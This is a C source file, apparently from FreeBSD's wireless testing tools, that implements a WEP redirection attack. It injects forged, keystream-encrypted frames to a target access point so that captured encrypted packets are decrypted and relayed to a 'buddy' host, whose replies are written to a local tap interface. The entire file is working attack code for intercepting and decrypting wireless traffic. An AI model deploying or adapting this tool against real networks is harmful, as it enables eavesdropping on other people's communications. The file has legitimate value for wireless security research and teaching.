xref: /freebsd/tools/tools/net80211/w00t/redir/redir.c (revision 069ac184)
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  */
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <sys/socket.h>
29 #include <sys/uio.h>
30 #include <netinet/in.h>
31 #include <arpa/inet.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <string.h>
35 #include <stdio.h>
36 #include <stdlib.h>
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <err.h>
40 #include <assert.h>
41 #include <zlib.h>
42 #include "w00t.h"
43 
44 enum {
45 	S_START = 0,
46 	S_WAIT_ACK,
47 	S_WAIT_BUDDY
48 };
49 
50 struct queue {
51 	struct ieee80211_frame *wh;
52 	int len;
53 	int id;
54 
55 	char *buf;
56 	int live;
57 	struct queue *next;
58 };
59 
60 struct params {
61 	int rx;
62 	int tx;
63 
64 	int s;
65 	int port;
66 
67 	int tap;
68 
69 	char mac[6];
70 	char ap[6];
71 	char rtr[6];
72 	struct in_addr src;
73 	struct in_addr dst;
74 
75 	char prga[2048];
76 	int prga_len;
77 	char iv[3];
78 	char *fname;
79 
80 	int state;
81 
82 	struct queue *q;
83 
84 	char packet[2048];
85 	int packet_len;
86 	struct timeval last;
87 	int id;
88 	int data_try;
89 
90 	int seq;
91 	int frag;
92 
93 	char buddy_data[2048];
94 	int buddy_got;
95 };
96 
97 void load_prga(struct params *p)
98 {
99         int fd;
100         int rd;
101 
102         fd = open(p->fname, O_RDONLY);
103         if (fd == -1) {
104                 p->prga_len = 0;
105                 return;
106         }
107 
108         rd = read(fd, p->iv, 3);
109         if (rd == -1)
110                 err(1, "read()");
111         if (rd != 3) {
112                 printf("Short read\n");
113                 exit(1);
114         }
115 
116         rd = read(fd, p->prga, sizeof(p->prga));
117         if (rd == -1)
118                 err(1, "read()");
119         p->prga_len = rd;
120 
121         printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
122         close(fd);
123 }
124 
125 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
126 {
127 	char *bssid, *sa;
128 
129 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
130 		bssid = wh->i_addr1;
131 		sa = wh->i_addr2;
132 	}
133 	else {
134 		bssid = wh->i_addr2;
135 		sa = wh->i_addr3;
136 	}
137 
138 	if (memcmp(bssid, p->ap, 6) != 0)
139 		return 0;
140 
141 	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
142 		printf("Got non WEP packet...\n");
143 		return 0;
144 	}
145 
146 	/* my own shit */
147 	if (memcmp(p->mac, sa, 6) == 0)
148 		return 0;
149 
150 	return 1;
151 }
152 
153 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
154 {
155 	struct queue *q = p->q;
156 	int qlen = 0;
157 	char *ret = NULL;
158 	struct queue *last = NULL;
159 
160 	/* find a slot */
161 	while (q) {
162 		if (q->live)
163 			qlen++;
164 		else {
165 			/* recycle */
166 			ret = q->buf;
167 			break;
168 		}
169 
170 		last = q;
171 		q = q->next;
172 	}
173 
174 	/* need to create slot */
175 	if (!q) {
176 		q = (struct queue*) malloc(sizeof(*q));
177 		if (!q)
178 			err(1, "malloc()");
179 		memset(q, 0, sizeof(*q));
180 
181 		/* insert */
182 		if (!p->q)
183 			p->q = q;
184 		else {
185 			assert(last);
186 			last->next = q;
187 		}
188 	}
189 
190 	q->live = 1;
191 	q->buf = *buf;
192 	q->len = len;
193 	q->wh = wh;
194 	q->id = p->id++;
195 
196 	qlen++;
197 
198 	if (qlen > 5)
199 		printf("Enque.  Size: %d\n", qlen);
200 	*buf = ret;
201 }
202 
203 /********** RIPPED
204 ************/
205 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
206   register long sum;
207   u_short oddbyte;
208   register u_short answer;
209 
210   sum = 0;
211   while (nbytes > 1)
212     {
213       sum += *ptr++;
214       nbytes -= 2;
215     }
216 
217   if (nbytes == 1)
218     {
219       oddbyte = 0;
220       *((u_char *) & oddbyte) = *(u_char *) ptr;
221       sum += oddbyte;
222     }
223 
224   sum = (sum >> 16) + (sum & 0xffff);
225   sum += (sum >> 16);
226   answer = ~sum;
227   return (answer);
228 }
229 /**************
230 ************/
231 
232 void send_packet(struct params *p)
233 {
234         int rc;
235         struct ieee80211_frame *wh;
236 
237         rc = inject(p->tx, p->packet, p->packet_len);
238         if (rc == -1)
239                 err(1, "inject()");
240         if (rc != p->packet_len) {
241                 printf("Wrote %d/%d\n", rc, p->packet_len);
242                 exit(1);
243         }
244 
245         p->data_try++;
246         wh = (struct ieee80211_frame*) p->packet;
247         wh->i_fc[1] |= IEEE80211_FC1_RETRY;
248 
249         if (gettimeofday(&p->last, NULL) == -1)
250                 err(1, "gettimeofday()");
251 }
252 
253 void send_header(struct params *p, struct queue *q)
254 {
255 	struct ieee80211_frame *wh;
256 	short *pseq;
257 	char *ptr;
258 	struct ip *ih;
259 	int len, i;
260 	uLong crc = crc32(0L, Z_NULL, 0);
261 	uLong *pcrc;
262 
263 	/* 802.11 */
264 	memset(p->packet, 0, sizeof(p->packet));
265 	wh = (struct ieee80211_frame *) p->packet;
266 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
267 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
268 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
269 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
270 	wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
271 
272 	wh->i_dur[0] = 0x69;
273 
274 	memcpy(wh->i_addr1, p->ap, 6);
275 	memcpy(wh->i_addr2, p->mac, 6);
276 	memcpy(wh->i_addr3, p->rtr, 6);
277 
278 	pseq = (short*) wh->i_seq;
279 	p->frag = 0;
280 	p->seq++;
281 	*pseq = seqfn(p->seq, p->frag++);
282 
283 	/* IV */
284 	ptr = (char*) (wh+1);
285 	memcpy(ptr, p->iv, 3);
286 	ptr += 4;
287 
288 	/* LLC/SNAP */
289 	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
290 
291 	/* IP */
292 	ih = (struct ip*) (ptr+8);
293 	ih->ip_v = 4;
294 	ih->ip_hl = 5;
295 	len = q->len  - sizeof(*wh) - 4 - 4 + 20;
296 	ih->ip_len = htons(len);
297 	ih->ip_id = htons(q->id);
298 	ih->ip_ttl = 69;
299 	ih->ip_p = 0;
300 	ih->ip_src.s_addr = p->src.s_addr;
301 	ih->ip_dst.s_addr = p->dst.s_addr;
302 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
303 
304 	/* ICV */
305 	len = 8 + 20;
306 	crc = crc32(crc, ptr, len);
307 	pcrc = (uLong*) (ptr+len);
308 	*pcrc = crc;
309 
310 	/* wepify */
311 	for (i = 0; i < len + 4; i++)
312 		ptr[i] ^= p->prga[i];
313 
314 	p->packet_len = sizeof(*wh) + 4 + len + 4;
315 	p->data_try = 0;
316 	send_packet(p);
317 }
318 
319 void send_queue(struct params *p)
320 {
321 	struct queue *q = p->q;
322 
323 	assert(q);
324 	assert(q->live);
325 
326 	send_header(p, q);
327 	p->state = S_WAIT_ACK;
328 }
329 
330 void send_data(struct params *p)
331 {
332 	struct ieee80211_frame *wh;
333 	short *seq;
334 	struct queue *q = p->q;
335 	char *dst, *src;
336 	int len;
337 
338 	assert(q);
339 
340 	/* 802.11 */
341 	memset(p->packet, 0, sizeof(p->packet));
342 	wh = (struct ieee80211_frame*) p->packet;
343 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
344 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
345 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
346 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
347 
348 	wh->i_dur[0] = 0x69;
349 
350 	memcpy(wh->i_addr1, p->ap, 6);
351 	memcpy(wh->i_addr2, p->mac, 6);
352 	memcpy(wh->i_addr3, p->rtr, 6);
353 
354 	seq = (short*) wh->i_seq;
355 	*seq = seqfn(p->seq, p->frag++);
356 
357 	/* data */
358 	dst = (char*) (wh+1);
359 	src = (char*) (q->wh+1);
360 	len = q->len - sizeof(*wh);
361 	memcpy(dst, src, len);
362 
363 	p->packet_len = sizeof(*wh) + len;
364 	p->data_try = 0;
365 	send_packet(p);
366 }
367 
368 void got_ack(struct params *p)
369 {
370 	switch (p->frag) {
371 	case 1:
372 		send_data(p);
373 		break;
374 
375 	case 2:
376 		p->state = S_WAIT_BUDDY;
377 		p->data_try = 69;
378 		break;
379 	}
380 }
381 
382 void read_wifi(struct params *p)
383 {
384 	static char *buf = 0;
385 	static int buflen = 4096;
386 	struct ieee80211_frame *wh;
387 	int rc;
388 
389 	if (!buf) {
390 		buf = (char*) malloc(buflen);
391 		if (!buf)
392 			err(1, "malloc()");
393 	}
394 
395 	rc = sniff(p->rx, buf, buflen);
396 	if (rc == -1)
397 		err(1, "sniff()");
398 
399 	wh = get_wifi(buf, &rc);
400 	if (!wh)
401 		return;
402 
403 	/* acks */
404 	if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
405 	    (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
406 		got_ack(p);
407 		return;
408 	}
409 
410 	/* data */
411 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
412 		       IEEE80211_FC0_SUBTYPE_DATA)) {
413 		if (!wanted(p, wh, rc))
414 			return;
415 
416 		enque(p, &buf, wh, rc);
417 		if (p->state == S_START)
418 			send_queue(p);
419 		return;
420 	}
421 }
422 
423 int connect_buddy(struct params *p)
424 {
425 	struct sockaddr_in s_in;
426 
427 	memset(&s_in, 0, sizeof(s_in));
428 	s_in.sin_family = PF_INET;
429 	s_in.sin_port = htons(p->port);
430 	s_in.sin_addr.s_addr = p->dst.s_addr;
431 
432 	if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
433 		return -1;
434 
435 	if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
436 		return -1;
437 
438 	return 0;
439 }
440 
441 void buddy_reset(struct params *p)
442 {
443 	p->buddy_got = 0;
444 
445 	if (connect_buddy(p) == -1)
446 		err(1, "connect_buddy()");
447 }
448 
449 int buddy_get(struct params *p, int len)
450 {
451 	int rd;
452 
453 	rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
454 	if (rd <= 0) {
455 		buddy_reset(p);
456 		return 0;
457 	}
458 
459 	p->buddy_got += rd;
460 	return rd == len;
461 }
462 
463 void read_buddy_head(struct params *p)
464 {
465 	int rem;
466 
467 	rem = 4 - p->buddy_got;
468 
469 	if (!buddy_get(p, rem))
470 		return;
471 }
472 
473 void read_buddy_data(struct params *p)
474 {
475 	unsigned short *ptr = (unsigned short*) p->buddy_data;
476 	int id, len, rem;
477 	struct queue *q = p->q;
478 	struct queue *last = p->q;
479 	char mac[12];
480 	struct iovec iov[2];
481 
482 	id = ntohs(*ptr++);
483 	len = ntohs(*ptr++);
484 
485 	rem = len + 4 - p->buddy_got;
486 
487 	assert(rem > 0);
488 	if (!buddy_get(p, rem))
489 		return;
490 
491 	/* w00t, got it */
492 #if 0
493 	printf("id=%d len=%d\n", id, len);
494 #endif
495 	p->buddy_got = 0;
496 
497 	/* feedback loop bullshit */
498 	if (!q)
499 		return;
500 	if (!q->live)
501 		return;
502 
503 	/* sanity chex */
504 	if (q->id != id) {
505 		printf("Diff ID\n");
506 		return;
507 	}
508 
509 	rem = q->len - sizeof(*q->wh) - 4 - 4;
510 	if (rem != len) {
511 		printf("Diff len\n");
512 		return;
513 	}
514 
515 	/* tap */
516 	if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
517 		memcpy(mac, q->wh->i_addr3, 6);
518 		memcpy(&mac[6], q->wh->i_addr2, 6);
519 	} else {
520 		memcpy(mac, q->wh->i_addr1, 6);
521 		memcpy(&mac[6], q->wh->i_addr3, 6);
522 	}
523 	iov[0].iov_base = mac;
524 	iov[0].iov_len = sizeof(mac);
525 	iov[1].iov_base = (char*)ptr + 8 - 2;
526 	iov[1].iov_len = len - 8 + 2;
527 
528 	rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
529 	if (rem == -1)
530 		err(1, "writev()");
531 	if (rem != (14+(len-8))) {
532 		printf("Short write %d\n", rem);
533 		exit(1);
534 	}
535 
536 	/* deque */
537 	q->live = 0;
538 	if (q->next) {
539 
540 		p->q = q->next;
541 
542 		while (last) {
543 			if (!last->next) {
544 				last->next = q;
545 				q->next = 0;
546 				break;
547 			}
548 			last = last->next;
549 		}
550 	}
551 
552 	/* drain queue */
553 	p->state = S_START;
554 	if (p->q->live)
555 		send_queue(p);
556 }
557 
558 void read_buddy(struct params *p)
559 {
560 	if (p->buddy_got < 4)
561 		read_buddy_head(p);
562 	else
563 		read_buddy_data(p);
564 }
565 
566 void own(struct params *p)
567 {
568 	struct timeval tv;
569 	struct timeval *to = NULL;
570 	fd_set fds;
571 	int max;
572 	int tout_ack = 10*1000;
573 	int tout_buddy = 2*1000*1000;
574 	int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
575 
576 	if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
577 		int el;
578 
579 		/* check timeout */
580 		if (gettimeofday(&tv, NULL) == -1)
581 			err(1, "gettimeofday()");
582 
583 		el = elapsed(&p->last, &tv);
584 
585 		/* timeout */
586 		if (el >= tout) {
587 			if (p->data_try > 3) {
588 				p->state = S_START;
589 				return;
590 			} else {
591 				send_packet(p);
592 				el = 0;
593 			}
594 		}
595 		el = tout - el;
596 		tv.tv_sec = el/1000/1000;
597 		tv.tv_usec = el - tv.tv_sec*1000*1000;
598 		to = &tv;
599 	}
600 
601 	FD_ZERO(&fds);
602 	FD_SET(p->rx, &fds);
603 	FD_SET(p->s, &fds);
604 	max = (p->rx > p->s) ? p->rx : p->s;
605 
606 	if (select(max+1, &fds, NULL, NULL, to) == -1)
607 		err(1, "select()");
608 
609 	if (FD_ISSET(p->rx, &fds))
610 		read_wifi(p);
611 	if (FD_ISSET(p->s, &fds))
612 		read_buddy(p);
613 }
614 
615 void usage(char *name)
616 {
617 	printf("Usage %s <opts>\n"
618 	       "-h\thelp\n"
619 	       "-d\t<buddy ip>\n"
620 	       "-p\t<port>\n"
621 	       "-b\t<bssid>\n"
622 	       "-t\t<tap>\n"
623 	       "-r\t<rtr>\n"
624 	       "-s\t<source ip>\n"
625 	       , name);
626 	exit(1);
627 }
628 
629 int main(int argc, char *argv[])
630 {
631 	struct params p;
632 	char *iface = "wlan0";
633 	char *tap = "tap0";
634 	int ch;
635 
636 	memset(&p, 0, sizeof(p));
637 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
638 	p.fname = "prga.log";
639 	p.seq = getpid();
640 
641 	while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
642 		switch (ch) {
643 		case 's':
644 			if (!inet_aton(optarg, &p.src)) {
645 				printf("Can't parse src IP\n");
646 				exit(1);
647 			}
648 			break;
649 
650 		case 'r':
651 			if (str2mac(p.rtr, optarg) == -1) {
652 				printf("Can't parse rtr MAC\n");
653 				exit(1);
654 			}
655 			break;
656 
657 		case 't':
658 			tap = optarg;
659 			break;
660 
661 		case 'b':
662 			if (str2mac(p.ap, optarg) == -1) {
663 				printf("Can't parse BSSID\n");
664 				exit(1);
665 			}
666 			break;
667 
668 		case 'd':
669 			if (!inet_aton(optarg, &p.dst)) {
670 				printf("Can't parse IP\n");
671 				exit(1);
672 			}
673 			break;
674 
675 		case 'p':
676 			p.port = atoi(optarg);
677 			break;
678 
679 		case 'h':
680 		default:
681 			usage(argv[0]);
682 			break;
683 		}
684 	}
685 
686 	load_prga(&p);
687 	assert(p.prga_len > 60);
688 
689 	if ((p.rx = open_rx(iface)) == -1)
690 		err(1, "open_rx()");
691 	if ((p.tx = open_tx(iface)) == -1)
692 		err(1, "open_tx()");
693 
694 	if ((p.tap = open_tap(tap)) == -1)
695 		err(1, "open_tap()");
696 	if (set_iface_mac(tap, p.mac) == -1)
697 		err(1, "set_iface_mac()");
698 
699 	if (connect_buddy(&p) == -1)
700 		err(1, "connect_buddy()");
701 
702 	p.state = S_START;
703 	while (1)
704 		own(&p);
705 
706 	exit(0);
707 }
708